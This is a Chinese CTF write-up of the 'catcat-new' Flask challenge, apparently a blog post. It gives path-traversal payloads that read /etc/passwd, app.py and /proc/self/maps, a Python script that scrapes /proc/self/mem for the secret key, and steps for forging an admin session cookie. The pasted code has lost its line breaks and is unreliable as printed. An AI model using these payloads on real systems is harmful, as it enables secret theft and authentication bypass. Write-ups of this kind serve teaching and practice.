当前位置: 首页 > java >正文

攻防世界——web题catcat-new session值伪造

先看看网站信息

没看出来什么,用别的指纹识别工具试试

whatweb -a 3 http://61.147.171.103:55326

 猜测应该是 flask框架,然后再具体看网站可能的漏洞

当随便点击一个哈基米图片时,发现URL:
 

猜测有任意文件读取,尝试:info?file=../../../../etc/passwd

发现确实能读取文件,既然可能是flask框架,看看能不能读到app.py

info?file=../app.py 

发现源码,让AI帮我们整理一下;

import os
import uuid
from flask import Flask, request, session, render_template, Markup
from cat import catflag = ""app = Flask(__name__,static_url_path='/',static_folder='static'
)app.config['SECRET_KEY'] = str(uuid.uuid4()).replace("-", "") + "*abcdefgh"if os.path.isfile("/flag"):flag = cat("/flag")os.remove("/flag")@app.route('/', methods=['GET'])
def index():detailtxt = os.listdir('./details/')cats_list = []for i in detailtxt:cats_list.append(i[:i.index('.')])return render_template("index.html", cats_list=cats_list, cat=cat)@app.route('/info', methods=["GET", 'POST'])
def info():filename = "./details/" + request.args.get('file', "")start = request.args.get('start', "0")end = request.args.get('end', "0")name = request.args.get('file', "")[:request.args.get('file', "").index('.')]return render_template("detail.html", catname=name, info=cat(filename, start, end))@app.route('/admin', methods=["GET"])
def admin_can_list_root():if session.get('admin') == 1:return flagelse:session['admin'] = 0return "NoNoNo"if __name__ == '__main__':app.run(host='0.0.0.0', debug=False, port=5637)

发现获取flag的方法:验证session.get('admin')==1,这里首先要伪造一个session:admin=1

要伪造session需要secret_key,接下来就是获取secret_key

(1)为防止session值被篡改,框架会使用secret_key对session数据进行签名或加密,若想要伪造有效的session,就得先获得服务器的secret_key。而若服务器中存在任意文件读取漏洞,攻击者就可读取服务器进程的内存数据(例如通过/proc/self/mem文件),从中搜索并提取secret_key。

(2)但若直接读取该文件(/proc/self/mem)会返回整个进程的内存数据,其中大部分是无效或不可访问的内容,而我们要找的是可读写的内存区域,这个时候就得先读取/proc/self/maps了

(3)/proc/self/maps 用于记录当前进程的内存映射信息,包括:内存区域的起始和结束地址、可读写的区域、映射的文件

访问:info?file=../../proc/self/maps

将得到的内容保存为:test.txt 然后根据下面这段代码:

发现密钥后面拼接了*abcdefgh

可以编写脚本来找密钥,这里我参考的是这位师傅的wp:【攻防世界】catcat-new-CSDN博客

import re
import requestsmaps=open("D:\\pycharm_projects\\POC\\test.txt")
context=maps.read()
lst=context.split('\\n')# 映射表中的内容是一行一行的for line in lst:if 'rw' in line:addr=re.search('([0-9a-f]+)-([0-9a-f]+)',line)# 找到可读写的地址,使用正则表达式匹配类似:01234567-89abcdef 这样的地址区间start=int(addr.group(1),16)end=int(addr.group(2),16)print(start,end)url=f"http://61.147.171.103:55326/info?file=../../proc/self/mem&start={start}&end={end}" response=requests.get(url)secret_key=re.findall("[a-z0-9]{32}\*abcdefgh",response.text)if secret_key:print(secret_key)break

得到密钥值: 65795bf5bf734fba94bd2e9073068bd5*abcdefgh

然后借助:flask_session_cookie_manager工具伪造session(该工具需要用python3),工具地址为:https://github.com/noraj/flask-session-cookie-manager

先通过抓包获得session值:

然后先解密得到session的格式:

也就是说我们要的应该是:{'admin':1}

再进行伪造session:
 

将得到的session值再拼接到请求包中,注意路由是:/admin

成功得到flag 


 

 

http://www.xdnf.cn/news/15048.html

相关文章:

  • 电脑息屏工具,一键黑屏超方便
  • 【LeetCode100】--- 1.两数之和【复习回滚】
  • 学习日记-spring-day45-7.10
  • 深入理解 Linux 中的 stat 函数与文件属性操作
  • 710 Mybatis实战
  • Using Spring for Apache Pulsar:Transactions
  • PyTorch Tensor 操作入门:转换、运算、维度变换
  • 【TCP/IP】11. IP 组播
  • 深入解析JVM内存结构与垃圾回收机制
  • Boost.Asio学习(3):异步读写
  • Spring for Apache Pulsar->Reactive Support->Message Production
  • Linux的DNS域名解析服务
  • 多线程 JAVA
  • 表达式索引海外云持久化实践:关键技术解析与性能优化
  • 深入浅出 Python Asynchronous I/O:从 asyncio 入门到实战
  • 2025.07.09华为机考真题解析-第二题200分
  • FlashAttention 快速安装指南(避免长时间编译)
  • LeetCode经典题解:49、字母异位词分组
  • 西部数据WD授权代理商-深圳同袍存储科技有限公司
  • 5种使用USB数据线将文件从安卓设备传输到电脑的方法
  • Sophix、Tinker 和 Robust 三大主流 Android 热修复框架的详细对比
  • C语言顺序表:从零开始,解锁数据结构之门!
  • 无人机三叶螺旋桨概述
  • git fetch的使用
  • OpenSearch 视频 RAG 实践
  • 【libm】 18 泛型绝对值函数 fabs(fabs.rs)
  • Canny边缘检测(cv2.Canny())
  • ACL协议:核心概念与配置要点解析
  • 从真人到数字分身:3D人脸扫描设备在高校数字人建模教学中的应用
  • 在 Mac 上使用 Git 拉取项目:完整指南